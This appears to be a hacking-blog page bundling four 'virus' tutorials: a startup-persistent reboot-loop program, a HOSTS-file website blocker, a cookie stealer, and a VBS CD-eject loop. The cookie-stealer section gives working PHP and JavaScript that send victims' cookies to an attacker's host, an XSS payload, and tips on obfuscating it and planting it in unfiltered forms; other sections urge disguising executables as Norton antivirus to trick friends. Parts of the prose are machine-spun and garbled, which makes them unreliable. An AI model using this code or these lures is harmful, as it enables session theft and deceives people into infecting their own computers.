A Virus Program to Restart the Computer

In this post, I will demonstrate to you generally accepted methods to make an infection to restart the PC at each startup. That is, upon contamination, the PC will get restarted each time the framework is booted. Subsequently, the PC will end up plainly inoperable as it reboots again when the desktop is stacked. 

For this, the infection should be executed just once and from that point on, it will complete rest of the operation all alone. I have customized this infection utilizing the C dialect. In the event that you know about the C dialect then it is too straightforward the rationale behind the coding. The code is not posted here in this article, but rather you can download it from the connection underneath.

Compiling the source code into an executable module:

1. Download the Source Code Here.
2. UnRar the file and you should see the source code: Sysres.C
3. For a step-by-step compilation guide, refer my post: How to compile C Programs?

Testing and expelling the infection from your PC: 

You can arrange and test this infection all alone PC with no dread. To test, simply double tap the sysres.exe record and restart the framework physically. Starting now and into the foreseeable future, each time the PC is booted and the desktop is stacked, your PC will restart naturally over and over. 

It won't do any damage separated from naturally restarting your framework. In the wake of testing it, you can evacuate the infection by taking after the underneath said steps:

1. Reboot your computer in the safe mode.
2. Go to:
   %systemroot%\Windows\System
   (%systemroot% can be C,D,E or F)
3. You will find a file by name sysres.exe, delete it.
4. Type regedit in run. You will go to the registry editor. Here navigate to:
   HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run
   There, on the right site you will see an entry by name “sres“. Delete this entry. That’s it. You have now removed this virus successfully.

Rationale Behind the working of this infection program: 

In the event that I don't clarify the logic(Algorithm) behind the working of the infection program, I think this post would turn into a fragmented one. So I'll clarify the rationale in an improved way without getting much into the specialized parts of the program. On the off chance that you have additionally questions, you can pass your remarks.

LOGIC:

1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next, it will determine whether or not the virus file (sysres.exe) is already copied into %systemroot%\Windows\System.
3. If not it will just place a copy of itself into %systemroot%\Windows\Systemand makes a registry entry to put this virus file into the Windows startup.
4. Or else if the virus is already found in the%systemroot%\Windows\System directory (folder), then it just gives a command to restart the computer.

This process is repeated every time the PC is restarted.

NOTE: The system will not be restarted as soon as you double click theSysres.exe file.The restarting process will occur from the next boot of the system.

How to change the icon of the executable module (This step is optional):

After you assemble, the sysres.exe document that you get will have a default symbol. In the event that you send this record to your companions they may not execute it since it has a default ICON. So it is conceivable to change the ICON of this Sysres.exe document into some other ICON that is more trusted and looks appealing. 

For instance, you can change the symbol into Norton antivirus ICON itself so that the general population seeing this document trusts that it is Norton antivirus. Or, on the other hand you can change its ICON into the ICON of any well known or trusted projects with the goal that individuals will tap on it.

[Read More...]

How to Create a Virus to Block Websites

Most of us are familiar with the virus that used to block Orkut and Youtube websites. If you are curious about creating such a virus on your own, here is how it can be done.

As usual I am using my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of ‘C’ will be able to understand the working of this virus program. When this program is executed, it will block all those websites that are listed in the source code. In the following example, the sites that are listed in the source code are Google, Yahoo and Youtube. When you download the source code of this program, you have a choice to include your own list of sites that you want this virus to block.

I have just removed the source code of this program from this post as it is lengthy and makes the post look messy. You can still download the source code of this virus program from the following link:

Download Block_Site.rar

How Virus Program Works?

The Windows operating system maintains a special file called HOSTS which can be used to block any given hostname or domain name (website) by adding new entries onto it. This program works by modifying the HOSTS file by adding new entries of those sites that are intended to be blocked. The HOSTS file is located at:

%windir%\system32\drivers\etc (Usually: C:\windows\system32\drivers\etc)

So, when you execute this program, all it does is add the entries of the list of those sites (mentioned in the source code) to this HOSTS file. Once this is done, the site will be blocked from your computer. So, none of the browsers would be able to load those sites on your computer.

For more information on HOSTS file, I recommend reading my other post on How to use HOSTS file to block websites.

Now, as far as the technical part of this program is concerned, people who have a working knowledge of ‘C’ should be easily able to understand the working of this virus program. However, for those who are new to ‘C’ programming, here is the algorithm of this program:

• Determine the Root drive. ie: Find the drive (C:, D:, E: or F:) on which the Windows is installed.
• Navigate to: %windir%\system32\drivers\etc
• Open/Load the HOSTS file.
• Copy a list of those websites that are mentioned in the ARRAY to the END of the file.
• Save the file and Exit.

How to Compile the Source Code?

For a step-by-step compilation guide, refer my post: How to compile C Programs?

Testing the Virus:

1. To test, run the compiled module. It will block the sites that are listed in the source code.
2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
3. To remove the virus type the following command in the Run.
   %windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad. At the bottom of the opened file you’ll see something like this:
   127.0.0.1 google.com
5. Delete all such entries which contain the names of blocked sites.

NOTE: You can also change the ICON of the virus to make it look like a legitimate program.

[Read More...]

How to build a basic Cookie stealer

A cookie stealer is used to steal the login information of any unsuspecting victim. Once the link is visited, the cookie of the user is taken and stored in a text file. They are then redirected to another page without knowing what has just happened. This cookie stealer will be made using PHP, so to begin with you will need a free host with PHP support. There are many out there so I wont give any examples. Once you have your host it's time to begin.

A cookie stealer is made up of a sender and a receiver. The sender is done using JavaScript so will work on almost any site providing the user has JavaScript turned on. The receiver is placed on your site and takes the cookie from the JavaScript cookie sender. Here is the receiver code for your PHP file:

<?php

$cookie = $HTTP_GET_VARS[" c"];
$file = fopen('cookielog.txt', 'a');
fwrite($file, $cookie . "\n\n");
echo " <script>location.href='http://www.google.com';</script>";
?>

There are 3 parts of this code that are highlighted. The first is the letter "c", this is the name of get command the PHP file uses to get the cookie (/script.php?c=...) If you are trying to hide what the script is doing, this can be called anything. If you change this though, the script below must be changed to fit. The second and third are the name of the log file it creates when the cookie is received and where it redirects the user to after the log file has been stored.

Next is the Javascript receiver:

<script language="JavaScript">
document.location= " http://www.yoursite.com/stealer.php?c=" + document.cookie; </script>

Again you have to change the URL to fit the actual location and name of your PHP script. Also, if you have changed the GET variable name (c) this must be changed too.

Add that to the site and as soon as it loads, the cookie is stolen. It would be a lot better to name the PHP page to look like part of the site your are infecting e.g. out.php maybe. That's all there is to building a basic cookie stealer. If you want to go more advanced and have a host with sendmail enabled you could make the script email you the cookie log as soon as it arrives.

How cookie stealers are used



Just before finishing this tutorial it would useful to mention the most common infection methods. The first is finding a post comment form or guestbook or any web form that doesn't filter what the user enters, allowing you to enter the above JavaScript into the comment field. This is a relatively simple method.

Then there is also posting the link on basic forums that allow you to do so making sure the link is hidden or submitting the link to a site.

The next is through XSS (click to go to an XSS tutorial) permanent XSS is easy its just the same again, but temporary XSS can be used as well. Say you have a search engine that is vulnerable and the format is:

Search.php?q=search_here

You could add the script straight to it 

Search.php?q=<script language="JavaScript">document.location= "http://www.yoursite.com/stealer.php?c=" + document.cookie;</script>

Although this does look pretty obvious. Possibly making use of encrypting using hex then using Javascript's document.write or using unescape will make it virtually unrecognisable though.


Links
http://www.nickciske.com/tools/hex.php

Hex encoder/decoder

http://www.java2s.com/Code/JavaScript/Security/UnescapeEncoderDecode.htm



JavaScript unescape encoder/decoder

And that's all there is to this tutorial. Now you should also be able to recognise and avoid a cookie stealer if one is directed towards you. 

Was this tutorial helpful? please Comment: 

[Read More...]

How to create a virus to continuously eject CD/DVD drives??

Computer viruses are dangerous for every opearating system.It spreads all over the system and infect it. today i am going to share you a trick by which we should create a virus. This virus continuously eject CD/DVD drive after activation. I am using vbs batch codes for creating virus.

Auto eject CD/DVD drive

This virus code will continuously eject all your connected Optical drives. so If you put them back
in, it will pop them out again.so just follow below mentioned steps–>

Steps to create Virus

Step 1.

First of all open your notepad

Step 2.

now copy the below code

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Step 3.

now save this file as .vbs extension, for e.g. drive.vbs

>>now if you double click this file, virus got activated and your CD/DVD drive automatically ejected
continuously. To disable it, just write click on the file and delete it

>>For fun send this code to your friends and surprise them.

Hope you like this trick, if you want more tricks like this then follow our blog and share it on
Facebook.

[Read More...]